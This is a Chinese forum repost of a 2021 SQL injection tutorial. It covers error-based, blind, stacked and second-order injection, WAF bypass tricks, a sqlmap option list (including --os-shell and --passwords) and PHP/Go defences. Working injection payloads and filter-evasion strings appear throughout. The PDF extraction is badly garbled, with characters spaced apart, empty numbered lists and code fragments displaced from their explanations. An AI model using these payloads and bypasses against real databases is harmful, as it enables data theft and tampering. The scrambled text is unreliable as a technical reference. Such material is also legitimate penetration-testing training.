搜索

[18382] 2021-07-13_出浅入深玩转SQL注入

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-07-13_出浅入深玩转SQL注入 出 浅 入 深 玩 转 S Q L 注 入 空 城   H A C K 之 道   2 0 2 1 - 0 7 - 1 3 漏 洞 介 绍 漏 洞 介 绍 （ 1 ） 注 入 条 件 1 .   （ 2 ） 注 入 原 理 1 .   （ 3 ） 注 入 本 质 1 .   （ 4 ） 可 能 存 在 注 入 的 S Q L 语 句 地 方 s e l e c t 语 句 输 入 p a y l o a d , 最 后 加 注 释 符 即 可 。 i n s e r t 语 句 将 参 数 值 补 全 ， 然 后 加 注 释 符 。 u p d a t e 语 句 注 意 u p d a t e 语 句 测 试 时 ， 别 更 新 整 个 库 。 最 好 使 w h e r e 或 者 i f 的 判 断 条 件 的 结 果 为 0 d e l e t e 语 句 同 u p d a t e ， 测 试 时 需 要 注 意 让 条 件 为 假 。 注 入 类 型 注 入 类 型 报 错 注 入 报 错 注 入 相 关 函 数 相 关 函 数 U p d a t e X   M L ( X   M L _ t a r g e t ,   x p a t h _ e x p r ,   n e w _ X   M L )   更 新 X   M L 文 档 函 数 ， 当 x p a t h _ e x p r 参 数 错 误 时 会 报 错 并 显 示 参 数 信 息 。 x p a t h _ e x p r 可 以 用 S Q L 语 句 替 代 , 在 配 合 c o n c a t 函 数 可 以 显 示 很 多 有 用 信 息 。 用 户 能 控 制 输 入 且 输 入 的 内 容 被 带 到 数 据 库 去 执 行 对 用 户 输 入 过 滤 不 严 谨 。 违 背 了 “ 数 据 与 代 码 分 离 ” 的 原 则
使 用 方 法 ： 1 .   e g . 1 .   E x t r a c t V a l u e ( X   M L _ f r a g ,   x p a t h _ e x p r )   对 X   M L 文 档 进 行 查 询 的 函 数 ， 和 u p d a t e X   M L 函 数 类 似 ， 可 以 在 x p a t h _ e x p r 中 执 行 S Q L 语 句 。 使 用 方 法 ： 1 .   e g . 1 .   f l o o r ( x )   向 下 取 整 函 数 使 用 方 法 ： 1 .   e g . 1 .   e x p ( x ) 函 数   该 函 数 为 e 的 指 数 函 数 。 函 数 或 者 查 询 语 句 执 行 成 功 会 返 回 0 . 0 取 反 则 为 一 个 很 大 的 数 ， e x p ( 大 数 ) 会 造 成 溢 出 。 在 有 些 版 本 使 用 此 作 为 报 错 注 入 不 成 功 。 时 间 盲 注 时 间 盲 注 判 断 函 数 （ 1 ） i f 函 数 ： i f ( { 表 达 式 } , { t r u e 执 行 的 语 句 } , { f a l s e 执 行 的 语 句 } ) p a y l o a d : 1 .   s e l e c t   u p d a t e X   M L ( 1 , c o n c a t ( 0 x 7 e , ( { 查 询 语 句 } } ) , 0 x 7 e ) , 1 ) s e l e c t   u p d a t e X   M L ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   d a t a b   a s e ( ) ) , 0 x 7 e ) , 1 ) s e l e c t   e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( { 查 询 语 句 } ) , 0 x 7 e ) ) ; s e l e c t   e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   d a t a b   a s e ( ) ) , 0 x 7 e ) ) ; s e l e c t   c o u n t ( * ) f r o m   t e s t   g r o u p b y   c o n c a t ( ( { 查 询 语 句 } ) , f l o o r ( r a n d ( 1 4 ) * 2 ) ) ; s e l e c t   c o u n t ( * ) f r o m   t e s t   g r o u p b y   c o n c a t ( ( s e l e c t   v e r s i o n ( ) ) , f l o o r ( r a n d ( 1 4 ) * 2 ) ) ; i f ( ( { 判 断 语 句 } ) , s l e e p ( 3 ) , 1 )
e g . 1 .   注 意 i f 语 句 既 可 放 在 s e l e c t 之 后 ， 又 可 放 在 w h e r e 或 者 a n d 之 后 . （ 2 ） c a s e 语 句 1 .   p a y l o a d : 1 .   e g 。 1 .   其 他 相 关 函 数 ( 1 ) s l e e p 函 数 ： s l e e p ( x )   延 时 x 秒 ( 2 ) 比 较 操 作 符 1 .   2 .   3 .   4 .   5 .   6 .   布 尔 盲 注 布 尔 盲 注 布 尔 盲 注 的 目 标 是 根 据 响 应 内 容 的 长 度 或 者 响 应 的 关 键 字 不 同 来 判 断 S Q L 语 句 是 否 正 确 . 注 入 方 法 同 时 间 盲 注 , 也 是 用 判 断 函 数 . 堆 叠 注 入 堆 叠 注 入 S Q L 语 句 是 以 分 号 结 尾 的 , 有 些 S Q L   A P I 能 执 行 多 句 S Q L 指 令 , 所 以 可 以 通 过 闭 合 和 拼 接 的 方 式 达 到 执 行 指 定 p a y l o a d 的 目 的 . 如 S Q L 语 句 为 : s e l e c t * f r o m   t e s t . t e s t   w h e r e   p r i c e = & q u o t ; 3 . 4 9 & q u o t ; a n d i f ( ( l e n g t h ( u s e r ( ) ) & g t ; 1 ) ) , s l e e p c a s e w h e n ( e x p r 1 ) t h e n ( e x p e 2 ) e l s e ( e x p r 3 ) e n d ; s e l e c t c a s e w h e n { 判 断 语 句 } t h e n   s l e e p ( 3 ) e l s e 1 e n d ; s e l e c t c a s e w h e n ( l e n g t h ( u s e r ( ) ) & g t ; 1 ) t h e n   s l e e p ( 3 ) e l s e 1 e n d ; & g t ; & l t ; = l i k e r e g e x p n o t i n
1 .   当 i d 为 : 1 .   那 么 S Q L 语 句 变 为 : 1 .   达 到 插 入 数 据 的 目 的 . 二 次 注 入 二 次 注 入 攻 击 者 构 造 的 恶 意 数 据 存 储 到 数 据 库 后 ， 恶 意 数 据 被 读 取 并 进 入 到 S Q L 查 询 语 句 所 导 致 的 注 入 。 （ 1 ） 存 入 数 据 库 ： 1 .   2 .   3 .   （ 2 ） 查 询 数 据 库 ： 1 .   2 .   可 以 通 过 u s e r n a m e 参 数 嵌 入 恶 意 代 码 。 S Q L 注 入 攻 击 注 入 攻 击 攻 击 步 骤 攻 击 步 骤 （ 1 ） 测 试 是 否 存 在 S Q L 注 入 、 判 断 是 什 么 类 型 的 注 入 （ 2 ） 根 据 注 入 类 型 ， 构 造 合 适 的 p a y l o a d ， 检 测 是 否 有 过 滤 函 数 。 如 果 有 过 滤 函 数 ， 在 下 面 构 造 p a y l o a d 时 如 果 需 要 用 到 的 字 符 被 过 滤 ， 则 采 取 对 应 的 替 代 方 法 。 （ 3 ） 构 造 p a y l o a d ， 获 取 表 长 度 、 表 名 s e l e c t * f r o m   u s e r s   w h e r e   i d   = ' i d '   l i m i t   0 , 1 ; 1 ' ; i n s e r t   i n t o   u s e r s   v a l u e ( 1 , ' u s e r ' , ' p a s s ' ) # s e l e c t * f r o m   u s e r s   w h e r e   i d   = ' 1 ' ; i n s e r t   i n t o   u s e r s   v a l u e ( 1 , ' u s e r ' , ' p a s s ' ) # '   l i m i t   0 , 1 ; $ u s e r n a m e = $ _ G E T [ ' u s e r n a m e ' ] ; $ p a s s w o r d = $ _ G E T [ ' p a s s w o r d ' ] ; $ r e s u l t = m y s q l i _ q u e r y ( $ c o n , & q u o t ; i n s e r t   i n t o   u s e r s ( u s e r n a m e , p a s s w o r d )   v a l u e s ( ' & q u o t ; . a d d s l a s h e s ( $ u s e r n a m e ) . & q u o t ; ' $ r e s u l t 2 = m y s q l i _ q u e r y ( $ c o n , & q u o t ; s e l e c t * f r o m   i n f o r m a t i o n   w h e r e   u s e r n a m e = ' & q u o t ; . $ u s e r n a m e . & q u o t ; ' $ r o w 2 = m y s q l i _ f e t c h _ a r r a y ( $ r e s u l t 2 ) ;
（ 4 ） 构 造 p a y l o a d ， 获 取 列 长 度 、 列 名 （ 5 ） 获 取 数 据 。 进 阶 ： 判 断 当 前 用 户 权 限 ， 获 取 所 有 的 数 据 库 ， 写 s h e l l 。 绕 过 方 法 绕 过 方 法 1 . 关 键 词 绕 过 ： 关 键 词 绕 过 ： 注 释 绕 过 1 .   内 联 注 释 1 .   双 写 绕 过 大 小 写 绕 过 。 2 . 比 较 符 号 绕 过 比 较 符 号 绕 过 使 用 其 他 比 较 符 号 或 函 数 1 .   2 .   3 .   4 .   5 .   6 .   7 .   8 .   9 .   3 . 逗 号 绕 过 逗 号 绕 过 逗 号 会 用 到 的 地 方 ： s u b s t r ( ) ， m i d ( ) , l i m i t ， i f ( , , ) 语 句 如 果 是 盲 注 可 以 使 用 c a s e 语 句 。 U / * * / N i o n / ! * U n i o n * / = l i k e r l i k e r e g e x p & l t ; & g t ; b e t w e e n   a   a n d   b g r e a t e s t ( ) l e a s t ( )
对 于 s u b s t r 和 m i d 函 数 可 以 用 f r o m   ( i n d e x )   f o r   ( l e n ) . e g . 1 .   对 于 l i m i t 可 以 使 用 o f f s e t 来 绕 过 1 .   等 价 于 1 .   4 . 注 释 绕 过 注 释 绕 过 1 .   2 .   3 .   4 .   5 . 空 格 绕 过 空 格 绕 过 1 .   2 .   3 .   4 .   5 .   6 .   6 . 引 号 绕 过 引 号 绕 过 十 六 进 制 绕 过 ： 会 使 用 到 引 号 的 地 方 一 般 是 w h e r e 子 句 中 ， 可 以 用 0 x x x x x 代 替   " "   或 ’ ’ 通 用 关 键 函 数 通 用 关 键 函 数 m i d ( s t r , p o s , l e n )   截 取 子 字 符 串 ， 从 p o s 位 置 开 始 长 度 为 l e n 的 子 字 符 串 。 注 意 m y s q l 位 置 是 从 1 开 始 。 s u b s t r ( s t r , p o s , l e n )   截 取 字 符 串 ， 同 m i d o r d ( ) 、 a s c i i ( )   返 回 字 符 的 a s c i i 码 值 C O N C A T ( s t r 1 , s t r 2 , … )   连 接 函 数 ， 将 参 数 中 按 字 符 串 连 接 起 来 。 s e l e c t   s u b s t r ( & q u o t ; a b c & q u o t ; f r o m 1 f o r 2 ) s e l e c t * f r o m   t a b l e _ n a m e   l i m i t   1   o f f s e t   0 s e l e c t * f r o m   t a b l e _ n a m e   l i m i t   0 , 1 # % 2 3 - - 空 格 / * * / % a 0 % 0 a % 2 0 + 括 号 绕 过     a n d ( )                         / / 括 号 两 端 可 以 不 需 空 格 注 释 绕 过 a n d / * * / 1
G R O U P _ C O N C A T ( e x p r )   组 连 接 函 数 ， 将 表 达 式 中 的 组 结 果 连 接 起 来 。 L E N G T H ( s t r )   获 取 字 符 串 长 度 一 些 一 些 S Q L 注 入 技 巧 注 入 技 巧 % 5 c 爆 库 路 径 （ ） S Q L 注 入 可 能 出 现 的 点 注 入 可 能 出 现 的 点 g e t 参 数 p o s t 参 数 （ 表 单 参 数 ） c o o k i e 中 参 数 X - F o r w a r d e d - F o r U s e r - A g e n t R e f e r S Q L 注 入 危 害 注 入 危 害 获 取 用 户 名 密 码 。 脱 库 、 删 库 、 改 库 写 木 马 S Q L 注 入 防 御 方 法 ： 注 入 防 御 方 法 ： 1 .   2 .   3 .   4 .   P H P 防 御 防 御 注 意 防 御 需 要 多 种 防 御 方 式 结 合 能 达 到 最 佳 效 果 。 （ （ 1 ） 使 用 转 义 字 符 串 ） 使 用 转 义 字 符 串 m y s q l _ r e a l _ e s c a p e _ s t r i n g e g . 1 、 预 编 译 2 、 使 用 安 全 的 存 储 过 程 （ 先 将 S Q L 语 句 定 义 在 数 据 库 中 ） ， 同 时 避 免 使 用 动 态 的 S Q L 语 句 。 3 、 检 查 数 据 类 型 4 、 使 用 安 全 函 数
1 .   （ （ 2 ） 使 用 ） 使 用 m y s q l i 的 的 p r e p a r e 语 句 语 句 e g . 1 .   2 .   3 .   4 .   （ （ 3 ） 使 用 ） 使 用 P D O e g . 1 .   2 .   （ （ 4 ） 添 加 过 滤 函 数 ） 添 加 过 滤 函 数 不 推 荐 使 用 此 方 法 ， 因 为 可 能 存 在 过 滤 不 全 的 情 况 。 e g . 1 .   2 .   3 .   4 .   5 .   6 .   （ （ 5 ） ） P H P 选 项 开 启 选 项 开 启 m a g i c _ q u o t e s _ g p c 负 责 对 G E T 、 P O S T 、 C O O K I E 的 值 进 行 过 滤 m a g i c _ q u o t e s _ r u n t i m e 对 从 数 据 库 或 者 文 件 中 获 取 的 数 据 进 行 过 滤 G o 防 御 防 御 d a t b   a s e / s q l   使 用 参 数 化 查 询 使 用 参 数 化 查 询   $ c i t y   =   $ m y s q l i - & g t ; e s c a p e _ s t r i n g ( $ c i t y ) ; $ u n a m e   =   $ _ P O S T [ & q u o t ; u s e r n a m e & q u o t ; ] ; $ s t m t   =   $ m y s q l i - & g t ; p r e p a r e ( & q u o t ; I N S E R T   I N T O   t a b l e   ( c o l u m n )   V A L U E S   ( ? ) & q u o t ; ) ; $ s t m t - & g t ; b i n d _ p a r a m ( & q u o t ; s & q u o t ; ,   $ u n a m e ) ;         / /   & q u o t ; s & q u o t ;   m e a n s   t h e   d a t a b   a s e   e x p e c t s   a   s t r i n g $ s t m t - & g t ; e x e c u t e ( ) ;   $ s t m t   =   $ p d o - & g t ; p r e p a r e ( ' S E L E C T   *   F R O M   U S E R S   W H E R E   n a m e   =   : n a m e ' ) ;   $ s t m t - & g t ; e x e c u t e ( a r r a y ( ' n a m e ' = & g t ;   $ n a m e ) ) ; $ f a r r   =   a r r a y (         & q u o t ; / & l t ; ( / ? ) ( s   c r i p t | i ? f   r a m e | s t y l e | h t m l | b o d y | t i t l e | l   i n k | m   e t a | o   b j e c t |         & q u o t ; / ( & l t ; [ ^ & g t ; ] * ) o n [ a - z A - Z ] + s * = ( [ ^ & g t ; ] * & g t ; ) / i s U & q u o t ; ,         & q u o t ; / s e l e c t | i n s e r t | u p d a t e | d e l e t e | ' | / * | * | . . / | . / | u n i o n | i n t o | l o a d _ f i l e | o u t f i l e | d u m p / ) ;                 / / 既 过 滤 X S S ， 又 过 滤 S Q L 注 入 $ s t r   =   p r e g _ r e p l a c e ( $ f a r r , ' ' , $ s t r ) ;
1 .   采 用 的 是 预 编 译 的 方 法 ， Q u e r y R o w ( ) 方 法 会 对 传 入 参 数 进 行 强 制 类 型 检 查 和 安 全 检 查 。 S Q L M A P （ 1 ） 判 断 是 否 存 在 S Q L 注 入 参 数 ： 1 .   2 .   3 .   4 .   5 .   6 .   7 .   8 .   9 .   1 0 .   1 1 .   1 .   2 .   1 .   1 .   2 .   3 .   4 .   5 .   6 .   7 .   1 .   d b . Q u e r y R o w ( & q u o t ; S E L E C T   *   F R O M   u s e r i n f o   W H E R E   u s e r n a m e   = ?   A N D   p a s s w o r d   = ? & q u o t ; ,   s e n a m e - r   [ f i l e ]                                 / / b u r p 包 的 文 本 - - d a t a                                       / / p o s t 数 据 - - u   [ u r l ]                                 / / 指 定 U R L - - c o o k i e                                   / / c o o k i e - - h e a d e r s                                 / / 设 置 请 求 头 - - f o r m s                                   / / 自 动 填 充 表 单 - - r e f e r e r                                 / / 设 置 r e f e r e r - - p r o x y                                   / / 代 理 地 址 - - r a n d o m - a g e n t                     / / 使 用 随 机 U A 头 - - r e f e r e r                               / / 指 定 r e f e r e r 头 - - r i s k   3 - - l e v e 3                 / / c o o k i e , h t t p 请 求 头 ， 参 数 都 扫 描 - p   & q u o t ; 参 数 & q u o t ;                                     / / 指 定 测 试 参 数 ， 可 以 为 多 个 ， 用 逗 号 隔 开 即 可 。 - - s k i p   & q u o t ; 参 数 & q u o t ;                             / 指 定 不 测 试 的 参 数 ， 可 以 为 多 个 ， 用 逗 号 隔 开 即 可 。 - - t h r e a d s   [ 线 程 数 量 ]               / / 最 大 并 发 线 程 数 - - t e c h n i q u e   [ 技 术 ]                 / / 指 定 检 测 的 技 术 o p t i o n : B : B o o l e a n - b   a s e d   b l i n d   S Q L   i n j e c t i o n （ 布 尔 型 注 入 ） E : E r r o r - b   a s e d   S Q L   i n j e c t i o n （ 报 错 型 注 入 ） U :   U N I O N   q u e r y   S Q L   i n j e c t i o n （ 可 联 合 查 询 注 入 ） S : S t a c k e d   q u e r i e s   S Q L   i n j e c t i o n （ 可 多 语 句 查 询 注 入 ） T : T i m e - b   a s e d   b l i n d   S Q L   i n j e c t i o n （ 基 于 时 间 延 迟 注 入 ） - - t i m e - s e c   [ 时 间 ]                   / / 设 置 时 间 盲 注 的 时 间
1 .   2 .   1 .   1 .   （ 2 ） 判 断 权 限 ， 猜 表 猜 库 1 .   2 .   3 .   4 .   5 .   6 .   7 .   8 .   9 .   — c o d e = C O D E   H T T P   c o d e   t o   m a t c h   w h e n   q u e r y   i s   e   v a l u a t e d   t o   T r u e 用 H T T P 的 响 应 码 来 判 断 注 入 判 断 语 句 是 正 确 的 ， 例 如 ， 响 应 2 0 0 的 时 候 为 真 ， 响 应 4 0 1 的 时 候 为 假 ， 可 以 添 加 参 数 — c o d e = 2 0 0 E N D 【 版 权 说 明 】 本 作 品 著 作 权 归 空 城 所 有 ， 授 权 补 天 漏 洞 响 应 平 台 独 家 享 有 信 息 网 络 传 播 权 ， 任 何 第 三 方 未 经 授 权 ， 不 得 转 载 。 空 城 空 城             安 全 路 上 的 小 学 弟 - - p r e f i x                                 / / 给 p a y l o a d 加 入 前 缀 或 者 后 缀 - - s u f f i x - - s e c o n d - o r d e r   [ 指 定 页 面 ]       / / 盲 注 时 判 断 响 应 的 页 面 ， 不 指 定 默 认 为 当 前 页 面 。 - - t a m p e r   [ 绕 W A F 脚 本 ] - - c u r r e n t - u s e r   获 取 当 前 用 户 - - c u r r e n t - d b     获 取 当 前 数 据 库 名 称 - - i s - d b a             判 断 当 前 用 户 是 否 为 管 理 员 。 - - u s e r s               列 出 所 有 用 户 - - p a s s w o r d s       列 出 所 有 用 户 的 密 码 表 - - b a n n e r             返 回 数 据 库 版 本 号 - - d b m s                 探 测 数 据 库 类 型 - - o s                     探 测 操 作 系 统 类 型 - - o s - s h e l l         写 s h e l l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理